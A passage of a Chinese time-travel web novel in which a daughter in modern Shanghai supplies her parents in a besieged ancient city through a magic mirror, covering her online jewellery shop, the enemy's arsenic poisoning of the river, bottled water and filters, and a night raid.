袁淼觉得很合适,箱子里的那些一看就知道是非凡品,挂到网上去卖,价高了没有人要,价低了自己心疼。这几样就很合适,最贵也就六七千元,其他二三千元,即便是加价出售,一般人也能消费。 袁淼把当铺收到的价记了下来。 母女俩正说着话,袁博文回来了。袁淼看到父亲很高兴,连忙问那边的情况。 袁博文笑着说:“还好,你不用担心。” 袁淼叹了口气:“你们是不是非要打起来了,才跟我说实话?” 谢云溪也笑了,他们夫妻确实不想让女儿太过担心。 “你跟她说吧,她天天问我。” 袁博文坐下来。 “爸爸妈妈没有骗你,这次北凉虽然来了不少人,但是一直到现在都没有动静,我们估计他们是想围困晋州,等晋州自己乱了之后再打。现在晋州城里都在做准备,物资这块你妈都跟你说了吧?” “吃喝用这些,城里确实不多,不过,我们不是还有你嘛?”袁博文笑着说,“城里现在暂时我管着,关正还没好全,其他人都得听我的。需要什么,我们都不会瞒着你。” 袁淼只得相信:“那军械之类,还要不要?” “暂时不用。”先前消耗的已经补足,如今没有开打,暂时都够。 袁淼其实已经让楚萧买了一些军械,估计明后两天就能到货,父亲既然暂时不需要,那就先放在库房里。 “其他的呢?” 袁博文看了看谢云溪。谢云溪说:“该准备的,我都跟她说了。”袁博文摇了摇头,表示没有了。 “好吧,那你们记得自己的话,不要瞒我。”袁淼看出了父亲的疲惫,母亲还怀了孕,两人都要早点休息。 夫妻俩人都笑了,交待了一番后,结束了这次的沟通。 谢云溪问:“你跟淼淼说的是真的吗?” 袁博文笑着说:“我会瞒她,什么时候瞒过你?” 谢云溪想想也是。把今天盘了三间铺面的事情告诉了袁博文。 袁博文点头:“是应该给城里的人找些的事做。” 这几天他们除了排查城内人口以外,还增加了招工和征兵的力度。如今除了各营的主将和府衙的张时文以外,知道北凉打算的人并不多。城内的气氛虽然紧张,但一切都井井有条。 第57章 第 57 章 中毒 跟父母说完话后, 袁淼找到了手电筒,仔细看了看才到手的翡翠原石明料,肉质细腻通透, 灯光打下去泛着莹莹蓝光, 犹如照进了深海, 非常漂亮。竟然真是一块高冰种的蓝水明料。 想及当铺收到手的价格, 袁淼忍不住唏嘘。乱世的石头,盛世的宝!父母八/九万收到的玉石, 她这边至少能卖到上千万。 把原石放好后,她就抱着首饰匣子上了楼。在网上了解一会同行的定价和销售情况。第二天来到公司,把首饰盒给岳然。 岳然一打开,眼睛就直了:“好漂亮!袁总, 您这些古风首饰都是在哪里淘到了?” 袁淼笑了笑:“网店还是没有人气吗?” 岳然沮丧摇头,网上的博云珠宝店有人浏览, 但是一直没人买,连咨询的人都没有。她觉得网上挂价出售的三件单品都非常漂亮,完全物超所值。但就是人气不怎么样。这或许是新店的通病。 袁淼把首饰盒连同定价单一起给岳然:“今天把这几样挂上去,这是定价。” 岳然接过后就开始忙了, 拍照修图上传。 袁淼看了看效果,网店上的几件货都很漂亮,但是网店名称旁边的零销售额分外醒目,她想了想,干脆又注册了二个账号, 点了关注店铺, 自己出手把第一次挂上去出售的珍珠手串和白玉簪买了下来。 或许是因为有了交易的缘故,这天网店就有人咨询了,第二天就卖出去了一单。 岳然高兴坏了, 她进公司快一个月了,这是做成的第一件事情。售价八千八百元的累丝金凤钗,按照协议她可以提成四十多元,再加上底薪四千,一个月四千多可以了。 工作并不累,环境很好,老板人不错,她不想再进入找工作的茫然状况了。虽然老板并没有说,业绩不佳会被淘汰。但有业绩心里才踏实。 咨询的人多了,袁淼也上了线。 “老板,你们的首饰有证吗?” 袁淼看了看后台,这位客户关注的是一支玉兰花步摇。玉现在在父母那边不值钱,这支步摇当铺收到仅一两银子,换算起来差不多二千多元。她挂在网站的售价是五千八百元。 顶端的白玉是羊脂白玉,洁白温润,垂坠下来的纯银流苏下也缀着两颗白玉,柄端则是纯银打制。 整件简洁大方。 袁淼回复:“有的。” 她把经过珠宝协会鉴定的A级证书照片发了过去。 “步摇上面的玉真的是羊脂白玉吗?” 类似的疑问,袁淼已经接到过几次了。大概是因为挂价并不高的缘故,很多人都质疑网店商品的真假。 袁淼每一次都解释,他们是新店开张,为了增加人气所以首饰的价都不高。 不过,大多数人对她的说话不以为然。 “如假包换!” 对方过了一会:“老板,你知道现在真正的羊脂白玉多少钱?” “知道。”袁淼把新店开张的说辞又讲了一遍。 “真的假的?我要下单了,鉴定是假的,你们怎么办?” “亲放心,如果鉴定是假的,我们照价赔偿。” “老板上面的话我截图了哦!” 袁淼回复了一个笑脸。五千多元,她不怕有人找麻烦。 对方经过考虑后下了单,袁淼跟她核对了地址。 对方又问:“你们店里的红宝石有证书吗?怎么这么贵?” 博云珠宝网店挂出来的宝石袁淼并没有打算卖,所以价格依旧是九亿九千九百万+。 她把嘉仕达的鉴定证书照片发了过去,由于并没有打算卖,她也没有多说话。 “你这宝石是哪里产的?是不是准备要在魔都珠宝玉石展览会推出?” 珠宝玉石展览会?袁淼愣了下,顺手在网上一搜,还真有这么一个展览会,就在下个月。展会的宗旨是为了给爱好珠宝玉石的卖家和买家搭建一个沟通联系的平台。目前正在宣传筹建当中。 这样机会不能放过!她手上现在是不缺钱,但要供应是一座城市的物资!谁知道晋州围困什么时候结束?钱越多,才能提供更多的支援。 跟这位客户聊完后,袁淼仔细了解了一下珠宝玉石展览会以及获取展位的要求,当天便登录了网站,提交了申请表格,缴纳了参展的费用。 等待审核通过的期间,贸易公司第二批购买的物资也到位了。 袁淼把物资传给了父母。 晋州城外的北凉人依旧没有动静。 谢云溪照着清单把物资清点了一遍。晋州城内的气氛比起先前的剑拔弩张好了一些,谢记粮行所在的那条街上人气也起来了些。既谢记当铺之后,谢记布庄和绣房也陆续开张了。 当然,生意远远不如谢记粮行。 粮行的生意越好,也表示晋州城内的物资消耗的越快。全城如今还开着门的粮行只有两家了,一家谢记,一家章记。 章记粮行是老店了,掌柜的在城外的庄子就有好几座,不过,从闹疫病开始,庄子上的人就跑了不少,北凉人打过来之后,章记也没有粮食进城了,靠着老本撑到了现在。 小满打听的消息,他家的粮食也卖不了几天了。 如果章记粮行也关了门,谢记粮行的生意毫无疑问会更好,但是晋州气氛肯定会受到影响。 谢云溪正想着这些事,念荟带着商泽进来了。谢云溪站了起来,心里诧异,以为袁博文那边出了什么事。 商泽摇头:“大人没事,是东城区那边出了事!有人中毒,已经死了三个人了。大人让夫人过去看看。” 谢云溪连忙起身,念荟伺候她披了一件狐裘。来到了东城区,天空开始下雪了。 袁博文迎了过来,牵着谢云溪的手:“冷不冷?” 谢云溪摇头:“中毒的人在哪里?郎中看过了吗?” “看过了,确定是中毒,但是这毒很奇怪……”袁博文边走边说。 出现了中毒症状已经有二十来人了,从昨天中午开始,症状都是头晕呕吐下泻。刚开始城内的郎中怀疑疫病卷土重来,但寒冬腊月时节,按说不会有这种事情发生。 为避免扩散,他们还是将发病的人单独隔离起来,所处的环境消毒。 隔离的人今日情况照旧,没隔离的却出现了死亡病例。郎中和仵作们一查,才知道是中毒。奇怪的是这些中毒的人吃的喝的都查出有毒,这么大范围的中毒,实属罕见。 东城区居住的平民居多,口粮大多数都是从谢记粮行所买的米糠,现在已经有流言在传谢记粮行的米糠不能吃! 袁博文自然不相信自家粮行的米糠有问题,毕竟除了米糠粥里查出了毒,这些人喝的水里面也有毒,他现在已经把重点放在水源的调查。 谢云溪点头,觉得袁博文的思路没有错:“附近的水井查过了吗?” 这么大范围中毒,水源投毒的可能性最大。 “已经让人去查了,离这边最近的水井在城门口那边。” 谢云溪诧异看向袁博文,城门那边可是防守的重点,军营用水很多都是从那里提取。 “军中还好,目前没人出事,中毒的有几家并不在那边的水井里取水。” 即便如此,袁博文也已经让人把水井封了。 两人说着话,进到房屋里,死者已经抬了出去,衙役和仵作们正在清点检查室内。谢云溪看过后,小声跟念荟说了几句话。念荟离开了,没多久提了一包东西出来。 谢云溪从里面取出手套正要带上,袁博文连忙说:“我来!” “你知道怎么做吗?”谢云溪笑着问。 “你跟我说,我不就知道了吗?是不是要取样?” 谢云溪无奈点头,“这包里面有手套,试管和针管等,你在这家所有食物包括水里各取一管样本,还有经常接触的物体表面……” 袁博文按照谢云溪所说取了十来管样本,还把室内外都看了一遍。雪越下越大了,袁博文催促了几次,最后跟谢云溪等人一道离开了现场。 回到府邸时,地上已经铺了薄薄一层雪。夫妻俩没有耽搁,连通了袁淼。 袁淼这天在家,听到后,也很紧张。 “你们俩都还好吧?”她看着谢云溪问。 谢云溪摸了摸肚子,她现在还没有显怀,不过食欲和睡眠比前段时间好一些了。 如果水源被人投毒,确实是一件人人自危的事情,所以得赶紧查清楚。 “我们没事。你能不能尽快联系一家检验所,把这些样本检测一遍?” “好!” 事情紧急,袁淼也没有多说,直接给杨有为打了个电话,他在医疗防疫系统的人面很广。 联系好后,袁淼开车来到了检验中心,找到了杨有为联系的主任,把送了进去。 没多久,杨有为也到了。对于袁淼这位金主,他很是看重。每个月差不多几百万的销售额!袁淼一个人都赶上了一家中型医院了。最近更是加上了中药材! 大金主的事儿必须要亲力亲为! “袁小姐,怎么样?林主任在里面吧?” “在,我已经把样本给林主任了。杨经理,多谢了!” 杨有为笑呵呵说:“小事小事!袁小姐,到底是谁中毒?人要不要紧?” 袁淼摇头:“人没事,现在只是怀疑中毒。” 她一副不想多说的样子,杨有为也机灵不再过问,陪着袁淼等了一会,检验中心的林主任出来了。 “是中毒,十二个样本里面有九个都查出了毒素,化验的结果显示是三氧/化二/砷,这是一种剧毒,不过好在几管样本里面的浓度并不高……” “三氧/化二/砷?这种毒常见吗?好不好解?” 林主任摇头:“怎样解毒,你们最好问一问这方面的医生。三氧/化二/砷,以前又叫砒/霜。” 第58章 第 58 章 偷袭 砒/霜? 袁淼心里一惊:“谢谢林主任!” 杨有为跟林主任说完话, 转身跟上袁淼:“袁小姐,我刚才问过医院那边了,这种毒毒性强, 中毒之后, 最好马上进行催吐洗胃, 使用特效解毒剂二巯丙磺酸钠和青霉素胺……” 袁淼想及父母那边的现状:“这两种解毒剂都是针剂吗?” 杨有为点头:“二巯/丙磺酸钠肌肉注射和静脉给药都可以。” 那就不方便用了。 “杨经理能不能帮我问问, 除了药物解毒,还有没有其他办法可以缓解或减轻中毒?” 杨有为二话没话就同意, 拨通了电话,说了几句话后,见袁淼格外关注,干脆把电话给她, 让她去说。 袁淼接过电话:“胡主任您好……是是是,现在确认是□□中毒……除了用药, 还有没有其他办法可以缓解或减轻中毒……” 电话那头也是位主任,跟杨有为关系不错,告诉袁淼好几种可以就地取材可以缓解中毒的办法。 袁淼道了谢,干脆把这位刘主任的电话存到了自己的手机里。 杨有为见袁淼没有安排人住院的打算:“袁小姐, 如果需要药物的话,给我打个电话就行了。” 他保证送货上门! “好,谢谢!” 杨有为的车开走了,袁淼也回了家。这次在镜子里只有谢云溪,袁淼把检测中心的报告传了过去。 “我找医院的医生问过了, 如果不使用药物的话, 还可以豆浆或鸡蛋清……” 袁淼说的这些方法,谢云溪也知道。现在的问题是中毒的人又增加了,好在症状不重。府衙已经把将所有中毒人员集中安置了, 附近几口井都用银针探过,没有毒。考虑到天冷,有些人家有就近取水的习惯,她让贺天凤在附近的河水里也取了十来管样本。 “你们怀疑有人在河水里下毒?”袁淼收到样本后惊讶问。 有人在井里下毒,她不意外,但把毒下到河水里…… 谢云溪:“不排除有这个可能。” 三四十人出现了中毒的症状,排除空气中毒的可能性,剩下最大的可能性就是食物和水源污染。 晋州城里如今只有两家粮行还开着门,谢记粮行的生意最好,但是出现中毒症状的人里面有好几家并没有购买谢记粮行的粮食。 粮食排除掉之后,剩下就是水源了。井水没问题,那河水有问题的可能性就很大了。 一般情况下,没人会把毒下到河水里,毕竟河水是活的,一包二包毒根本就起不到作用。但现在的情况特殊,在打战,战争中敌对一方采取投毒的例子并不是没有。 袁淼听谢云溪说完后,心里发凉。没再耽搁了,拿了样本,一边下楼,一边给杨有为打电话。 很快又来到了检测中心,等了不到半小时,十几管样本的结果出来了,居然都有毒,只是浓度不一样而已。 环绕晋州城的泗水河被人投毒!这个结果让袁淼一刻都坐不住了。 回到家后,袁淼就把结果告诉了谢云溪。谢云溪的脸色很不好看,战争的残酷让人窒息。北凉这一招不仅把晋州满城算计了进去,连晋州下游的城镇村落人家也不顾了。 她让贺天凤赶紧把结果告诉袁博文。 袁淼手脚发凉:“妈,你们那边的水都不能用了!我马上去买水!” “等等。”谢云溪叫住袁淼,“你上次买的过滤壶,这次再定一批。” 瘟疫刚开始发起来的时候,袁淼就买过一次过滤壶,里面的过滤芯就是活性炭,活性炭有吸附毒素的作用。 “好!定多少?” “一千。” 谢云溪看到了袁淼的紧张,笑着说:“你不用担心,我们用水都是在附近的井里提取,虽然水源四通八达,但泗水河的水沁到这边井里来没有那么快。” 袁淼挤了个笑出来,跟母亲说完话后,就让沈若臻联系净水公司大量买水,自己又在网上了解现有的净水设备,居然真有能过滤砷/化物的净水设备。她联系了这家公司,了解了相关情况后,定了一套大型净水设备。 谢云溪也没闲着,把有关三/氧化二/砷中毒处理的办法都写了下来。 袁博文回来时,谢云溪刚刚写完。 袁博文问:“确定泗水河里有毒吗?” “我让贺天凤取了十一管样本,检测中心都查出有毒了。” 袁博文不禁咬牙,北凉这一招阴险狠毒,水源里投毒,毒得不仅仅是人,还有河里的生物以及沿河的家禽鸟兽。 这里的人用水可没那么讲究,河里井里都可以,洗衣做饭,沐浴浇灌,通通都在用。 难怪一下子出现了这么多病例! “淼淼已经去买水了,军中和府衙得赶紧通知下去。”谢云溪催促说。 “我回来的时候,已经跟张时文和江虎说了,让他们务必每家都通知到。” 谢云溪又把写好的解毒方法给袁博文。特效解毒剂效果最好,但是现在不好拿出来。不管是肌肉注射还是静脉输液,都让人瞠目结舌。 跟上次瘟疫不一样,上次治疗商远,是因为:一来知道商远人不错,二来他们是关了门在治疗。只有极个别人看到。 这次的事情已经闹开了,想避开其他人给中毒的人用药不可能。人太多了。 不过,好在中毒的人虽然不少,但症状都不重,除了已经死亡的三人,其他中毒的人郎中们用了中医的方法在排毒。 袁博文看了看解毒方法,都是能在这里找到实物的。 “行,那我过去了,你自己要注意,家里的用水都停下来,等淼淼那边的水到了之后再用。” “我知道的,你也是,没回来之前,别吃别喝,别用手摸脸。”谢云溪交待。 水源有毒,即便是刚开始,环境也会受到影响。 袁博文出去了。谢云溪叫来家里其他人,尤其负责厨房的刘妈,交待泗水河里有毒,从现在开始都不要从河里取水了。 大家都吓了一跳,纷纷议论起来。不用猜,都知道这毒只有可能来自城外,北凉人驻扎地旁边的泗水在上游,一般老百姓不可能获得这么多砒/霜。 北凉人属实阴险狠毒。 福伯问:“夫人,那井里的水还能用吗?” “能用,不过也要过滤。念荟,你把过滤壶拿过来,教刘妈怎么用。过滤出来的水只能洗,也不能进口。” 虽然谢云溪认为现在井水应该没问题,但还是很小心。 一一交待下去后,大伙散了。 天刚刚黑下,镜子就有动静了。袁淼买到了十来吨水。时间紧迫,净水公司那边的大货车拉了几车桶装水过来。 袁淼把镜子转了个方向,让谢云溪看。 谢云溪:“好,我马上去码头那边的宅子。” 这些水是要发往晋州全城的,放在码头那边的宅子里更合适,而且塑料桶装水,也要倒出来做些掩饰才好下发。 谢云溪让贺天凤去通知袁博文,特别提到了桶装水已到,自己则和念荟来到码头旁边的宅子里。 商远依旧在这边宅子里看守,开了门后,跟着谢云溪旁边,亦步亦趋问:“夫人,刚巡防营的人来说,泗水河被北凉人投毒了,是真的吗?” “是真的。东城区那边已经有四十多人中毒。” 商远咬牙切齿:“狗蛮子们!当真阴险狠毒!” 谢云溪已经平静了下来,你死我活的战争之中,无所不用其极,也是正常的打开的方式,这次的事情也给他们提了醒,上了一课。 到了石阶下后,商远主动停下了脚步,念荟把谢云溪送进屋内后止步了,守在门口。 谢云溪点亮了屋内的灯,拿出了镜子,轻敲了三下后,女儿袁淼就出现在镜子里了。 “我到了。” “好,我马上就传。” 等在库房的袁淼默念了咒语后,身后堆放的桶装水消失不见。再看镜子里,那些水出现在了谢云溪的身后。 “够不够?”袁淼问,她已经把魔都两家净水公司的现货都拉了过来,如果不够,那就再联系第三家。 谢云溪看了一通后:“应该够了。” 晋州城里的人口数量袁博文知道,她并不知道。但今天女儿又是跑检测中心,又是买水,已经很累了,现在又很晚了,即便是不够,这些水各家少发一点也可以。 “净水壶最快后天到货,我定了一千。现在有一种高档的可以过滤砷化物等多种毒素的净水设备,我也定了一套,最快三天后到货。” 谢云溪没想到还有能过滤毒素的净水设备。 “我打电话到厂家问过了,他们的设备确定能过滤三/氧化/二/砷,而且过滤率高达百分之九十九以上。” “好!”谢云溪脸上不禁露出了笑容,“多少钱?” 袁淼报了价,她买的这一款又叫应急水源,听说原本是针对环境严重污染类似末日那种极端情况下的设备,所以价格昂贵。 谢云溪虽然觉得有点贵,但这当下却是很合适。 “淼淼,你再打听打听,有没有检测毒素的设备可以买?” 袁淼答应了,跟谢云溪说话的时候,就用手机在网上搜索了一番,果然看到了相关设备的广告。她把结果告诉谢云溪。 母女俩商量了一会,定下了一款。 时间不早了,袁淼担心父亲:“爸爸还没有回来吗?” “没有。你不用担心他,他知道轻重。” 袁淼又问:“要不要给你们买些手套?” 谢云溪笑着说:“不用。”常用的医疗药品物品,她这里都有。 交待女儿早点休息后,谢云溪就开始清点物资。 十几吨的桶装水,小山一样高了。谢云溪还没看完,袁博文就过来了。 谢云溪问:“你看这些够不够?是今天晚上就发,还是明天开始?” “明天再开始吧。” 府衙和巡防营已经把泗水河里有毒的消息播散出去了。城内的几口水井,郎中和仵作们都查过,没有毒。虽然他们验毒的方法简单,但这里自古以来都是这么在做。 而且,目前的情况也显示,城里的井水可用。不过以防万一还是让人暂时把城里的井也封了。 袁博文看了看清单:“这些够明天的量。” 即便有缺,他们还有个滤水壶,过滤的水不进口就行了。 “淼淼还给我们定了一套净水设备,听说过滤毒素的效果很好。” “是吗?还有这种设备?” 谢云溪又说:“我们还定了一套检测样本的设备。” 袁博文不禁笑了,有了净水设备和检测设备,这次北凉的投毒对于他们来说,已经不叫事了。 高科技现代化的设备器材来到这里,就跟降维打击一样。 第59章 第 59 章 算计 把谢云溪送回府邸之后, 袁博文就叫来了商泽,拿了自己腰牌给他,让他找晋州城内的几家酒坊借木桶。借到木桶之后, 便把桶装水拆封了, 将纯净水倒进了木桶。 忙了大半宿事才完。第二天一早袁博文 就把巡防营主将江虎和晋州通判张时文叫过来。 江虎看到院子里摆放的数十大木桶时, 眼睛都直了:“这里面都是水吗?你是打哪儿弄到的?” 袁博文道:“你别管我这水怎么来的?城内所有人的名册带了吗?” “带了。”江虎把名册给袁博文。 袁博文摆手:“你一会组织巡防营人手按名册发水。” 江虎应了一声, 去巡防营叫人手了。 张时文依旧在院子里打转看,自得知泗水河被投毒的消息以来, 他一晚上都不曾安睡。人不吃尚可捱几天,可如果不喝,一两天就得垮。 晋州满城百姓,数万余人, 一天没水就得大乱。 焦急辗转反侧,一夜功夫张时文头上的白发都多了几根, 这会他心里依旧不敢相信眼前所见,转了半圈后,从大木桶舀了一瓢水出来,抽出头上的银簪验了验, 见果然没毒,索性咕噜喝了几口。 水质甘甜,人也没有任何不舒服,张时文脸上这才露出了笑容。 袁博文看着张时文的举动并没有阻止,相处了这么多天, 军中的人对他的话现在言听计从。府衙的人相处不多, 质疑他很正常。 张时文又等了一会,确定真没问题之后,心里对袁博文越发服气了。 能喝的干净水打哪儿来的不重要, 重要的是城里的人有水喝,能活下去。 “大人,这些水是按每家分还是按每人分?一人多少量?”张时文态度恭敬。 袁博文昨天晚上已经算过了,这些水分发给晋州数万人口,每人差不多五六百毫升,上午一次,下午让女儿传过来后再发一次。每个人差不多一天一千多毫升。当然不能跟以前一样想怎么用就怎么用,但是满足基本需求没问题。 井里的水今天仵作也检查过了,没毒,注意点洗洗衣服等还是可以的。 五六百毫升,用这里的器皿,差不多一碗或者一瓢水,标准的工具袁博文也找到了,装给张时文看。 “每人一碗,上午一次,下午一次。八益伺把亿陆九留散。” 张时文记下来了,又与袁博文商量全城发水的地点,还没圈完,江虎带着巡防营的人过来了。 巡防营一众人见到这么多水,也很高兴。抬出去后,没多久,城里就响起了锣声,巡防营的人敲着锣在大街小巷打转,把领水的通知宣告了出去。 袁淼这天也是一大早就忙开了,买了两趟水传过去,到了晚上就看到了珠宝玉石展会通过的消息,见到谢云溪后,她就把这件事情告诉了她。 “珠宝玉石展览会?”谢云溪愣了下,想起了以前自己参加展会的经历,场面盛大,热闹非凡,国内外知名的企业和个人来了不少,可想而知这天的交易量有多大。 他们现在是有好东西,但愁卖,这样的活动不能错过! 现在晋州城内的生存物资全仰仗着女儿那边购买,女儿手上的钱自然是越多越好。光这几天买水,女儿手上的钱就用掉了不少,谁知道下一次会不会再来意外? 钱永远是越多越好。 “嗯,就在这个月底,我打算明天就去现场看看。”了解展位大小位置后,还要根据展品的情况进行设计布置。 时间紧迫,她还需要尽快把参展的展品挑出来,找人鉴定后拍照发给举办方。 这类由政府组织的活动,对参展的物品要求也很高,首先一个不能有假,诚信买卖。 “好,明天早上八点,你先别去公司,我再挑几样东西传给你。” 机会难得,有合适的东西得赶紧上。 袁淼欲言又止,她觉得自己手上的好东西已经不少了。不过,确实机会难得,好东西越多,卖的钱也就越多。她现在手上的钱就跟流水一样在往外出。 “今天城内怎么样?有没有人闹事?” 水源被投毒,对于城内百姓来说,无疑雪上加霜,应对不好很容易闹起来。 “还好。”谢云溪笑着说。 今天早上城内就开始发水,听说一天只有两次,每次只有一碗,有些人便开始嚷了,巡防营配合府衙在每个发水点坐镇,连哄带压,事情很快就下去了。 经过了这些天,城内的人都知道眼下形势严峻,大多数人都能以大局为重。 袁淼也松了一口气,等明天的过滤壶到了之后,晋州城内的情况应该会好一点,等净水设备和检测设备再到之后,这一关就能稳定下来了。 “你呢?你怎么样?”袁淼又问。 谢云溪脸上的笑容越发灿烂:“你放心吧。” 做女儿的比当妈的还操心了。 “不能大意!” 谢云溪点头:“我知道……你那网店怎么样?” “挺好的。”现在已经卖了四单了,珠宝首饰之类原本就不是日常消费用品,一般店铺短时间内不大可能出现上百上千的交易量。 博云珠宝的网店目前的货也就只有二十多种。 谢云溪又拿出了一个匣子:“这是这几天当铺收到的死当,你看看有没有人要?” 袁淼收到后,把显旧的和有磨损的挑了出来,剩下的决定明天给岳然,让她上传到网店销售。 网店开张至今,袁淼也涨了不少经验,父母那边传过来的首饰不少,但有一些并不适合马上出售,卖掉的几单,发货的时候都经过了清洗修复处理,这也是一笔开销。 如果显旧明显或者磨损厉害,清洗修复就得花不小的一笔钱。有些一看就知道没用过或者用的次数极少,这笔钱就能少出不少。她已经打算专门请一个师傅做金银玉器首饰的修复清洗工作,现在自己的人还没有找到,所以挂上去出售的货品越新越好。 袁博文回来了,谢云溪不禁说:“今天怎么早?很难得啊。” 袁博文看了看外面,压低了声音:“我一会还要走,你早点睡,跟淼淼联系过了吗?她怎么样?” “她还好,你大概什么时候回来?” 袁博文顿了顿:“我们打算出城会一会那帮北凉人!” 谢云溪吃惊看着袁博文。 “他们在泗水河里投毒,绝对想不到我们会在这个时候偷袭他们。人手我已经挑好了,大刀营和长枪营各一百人,剩下的接应,骑射营在城墙上护卫,打他们一个措手不及之后,我们就回来。” 属实是咽不下这口气,每次都是北凉人算计他们,这次更是往水里投毒,也应该他们反过来算计一次了。 谢云溪一时不知道说什么才好,袁博文专程回来一趟,这是已经把事情都安排好了。 “……那你自己小心,衣服穿好了吗?商泽是不是跟你一起去? 袁博文点头:“你放心,我绝不恋战,杀他们一个措手不及之后就回来。” 谢云溪默默点头,“去吧。”看着袁博文离开。 室内一下子安静了,谢云溪让自己冷静下来。她了解丈夫,他很少做没有把握的事情。而且他现在今非昔比,几经沙场,除了身手突飞猛进以外,个性也变得果然坚毅。她相信他,一定能平安无事回来。 “念荟!”谢云溪叫道。 念荟进来了,谢云溪问:“上次让你画的衣裳样式画好吗?” “画好了。” “拿来我看看。” 既然睡不着,那就找点事做。谢记布庄已经开张,生意平平。这当下晋州城里的人更在乎的是吃喝而不是穿着打扮。 念荟把样式图拿过来了,谢云溪看过后,提出了自己的想法。念荟按照她所说做了改动。瞧着时辰到了,说:“夫人,剩下的明天再看吧。” 谢云溪摇头:“不多了,我们看完。” 然而,样式图都看完了,谢云溪依旧没有睡意,对念荟说:“你让袁归进来一趟。” 念荟欲言又止,叫来了袁归。 谢云溪问:“章记粮行关门吗?” “今天关了。”袁归回答。 谢云溪想了想:“你现在去找章掌柜,跟他说,我们有粮食可以便宜给他,让他把章记的生意继续做下来。” 袁归愣了下,念荟也不明白为什么要这样做。章记粮行关门,全晋州就剩下了谢记粮行,生意不就更好了吗? 但他们俩人跟了袁博文夫妇多年,已经习惯了他们怎么说自己就怎么做。袁归即便是心里疑惑,也应道:“好,我这就去。” “回来!”谢云溪叫住他:“章掌柜是个厚道人,你现在去如果不说明原因,他宁愿章记粮行关门也不会听你的。” “你告诉他,我们之所以这么做,是因为晋州目前不能乱,水源有毒,粮食不能不足!” 袁归震惊抬头,心里犹如燃起一把火。是他短视了,只想到挣钱,却没有想到眼下的局势。晋州如今就是一座孤城,有吃有喝,人心才稳,一旦人心惶惶不可终日,不用等到北凉人来打,自己就乱了。现在喝的出了事,吃的万万不能出事。城里有多家粮行开门,也意味着眼下晋州粮食充足。 谢云溪又道:“谢记粮行的粮食,包括酱菜辣菜白菜萝卜,我们都可以便宜给他,你问他要多少?其中粟米黍米可以比眼下市价便宜五文,豆类七文,米糠八文……” 米糠便宜的最多,与女儿那边进价相比,差不多是平价销售了。这类粗粮的营养比粟米黍米更全面。 袁归记下后,来到了马房,牵出了一匹马到了章家。 章掌柜才睡下,听到门房的传话后连忙起来。 袁归见到章掌柜便打了个作揖:“章掌柜,打搅了。” 章掌柜摆手,他知道谢记粮行的背后东家是袁博文夫妇。先前的一战,袁博文的名声已经传开了,对于这样的人,他也敬佩之极。 “袁掌柜这么晚来,是有什么事吗?” “确实有事!”袁归说,“我家老爷夫人知道章记粮行已经没有多少存粮,愿意以低于如今市价的价格卖粮给章记,希望章记粮行可以继续营业。” 章掌柜怀疑自己听错了:“袁掌柜这话何意?” 袁归笑着说:“谢记粮行愿意低价卖粮给章记!以便章记粮行继续开门营业!” 章掌柜愣了下,如今水源有毒的事情闹得沸沸扬扬,在这之前,晋州城内还开着门的两家粮行也被怀疑了,谢记粮行的米糠卖的最好,流言也传的最多。虽然最后查明是水有毒,而不是粮食有毒。但现在袁归这么一说,章掌柜就想到了这件事情上。 第60章 第 60 章 借粮 “多谢袁掌柜的好意, 章记粮行关门,并不仅仅是无粮可卖。是章某年岁已高,精力有限, 不想再操劳了。” 章掌柜微笑拒绝了袁归的提议。 袁归面不改色, 心里对谢云溪越发佩服。 “章掌柜是不是担心我们谢记粮行的粮食有问题?” 章掌柜连忙摆手说:“没有没有!晋州城内谁不知道谢记粮行的粮食价格公道, 童叟无欺!” 即便是怀疑, 这当下谁敢说出来?谢记粮行背后的东家如今掌着晋州全城的生死! “没有就好。”袁归也没拆穿章掌柜的言不由衷,“我方才过来时, 我家夫人还说章掌柜是个厚道人,让我务必将原因说明。” “我家老爷夫人为了晋州城的安稳殚精竭虑,泗水河被投毒,好不容易才找到干净的水源。他们说晋州城内如今不能乱, 水源出事,城内的粮食不能不足, 有吃有喝,人心才会安稳,光一个谢记粮行开门恐怕不行,所以才让我来这么一趟。” 章掌柜愣了愣。 袁归又说:“谢记粮行如今在售的各种粮食, 包括酱菜腊菜白菜萝卜,只要章记想要,都可以便宜出给章记。其中粟米黍米可以比眼下市价便宜五文,豆类七文,米糠八文……只需要章记粮行开门就行, 既然章掌柜无意, 那……” 袁归话还没说完,就被章掌柜拉住了,拱手深深作揖:“袁掌柜且慢, 是章某小鸡肚肠了。袁大人为了晋州身先士卒,晋州百姓感激不尽,谢记粮行此举大仁大义,我章长生虽然一把老骨头了,也想尽一份微薄之力。” 章掌柜已经在为自己刚才的想法汗颜,这晋州城内质疑谁都不该质疑谢记粮行。同行这么些时日,谢记粮行的所作所为他都看在眼里,在全城粮行大多数都在涨价的时候,只有谢记粮行巍然不动,尤其米糠比其他粮行便宜很多。买这类的多是些穷苦人家,如今依旧支撑着没到卖儿卖女的地步,就靠着这廉价的米糠。 如果米糠有问题,全晋州的中毒绝对不止四十来人。 便宜八文钱的米糠,比地动来临之前的价还要低了,完全挣不到钱! 他要是还怀疑,那就是被猪油蒙了心。 “请袁掌柜转告,章记粮行明日就开门!无需谢记粮行贱价卖与!” 袁归吃了一惊,没想到章记居然还有存粮,倒是他小看了。但想及这门生意不是一日两日,北凉围城没那么快结束,他还是跟章掌柜商量了一会,将米糠便宜了四文钱给章记,至于其他章掌柜再不肯要,包括酱菜腊菜萝卜白菜等。章掌柜拒绝了相当坚决。 想起谢云溪的话,原来并不是吹捧,眼前的老掌柜果真是个厚道的。知道米糠最不挣钱,就要了米糠,其他能挣钱的,一点都不愿意沾。 从章家出来,章掌柜一直将袁归送到门口。袁归才上了马,突然看到北边的天亮了起来。他愣了愣后,心里一惊。那边正是北凉大军的驻扎地! 与章掌柜作揖作别之后,袁归赶着马往城门方向去,还没到近处,就被巡防营的人拦住了。 袁归经常跑军中寻人,认识的人不少,当下便在其中看到了一张熟面孔。 “童大人!” 童成是巡防的一位队长,听到招呼转过头,看到了袁归,连忙过来:“袁掌柜?这么晚了,你怎么来这儿了?” 袁归耳尖,已经听到了城外的厮杀声,旁边还有一队队士兵抱着羽箭和弩箭上城墙。 这是已经开打了!居然在这个时候! “童大人,外面是不是打起来了?”袁归压低了声音问。 童成推着袁归转了身,催促他快走:“这些与你不相干!你快些回去!切勿逗留!” 袁归还要问,巡防营已经在赶人,再不听从便要收监关押。 袁归没法,只得离开,打马回到府邸,把缰绳丢给小满后,直奔后院。 谢云溪还没睡,听到通报便让人进来。 袁归呼吸还没平稳就道:“夫人,城外已经打起来了!” 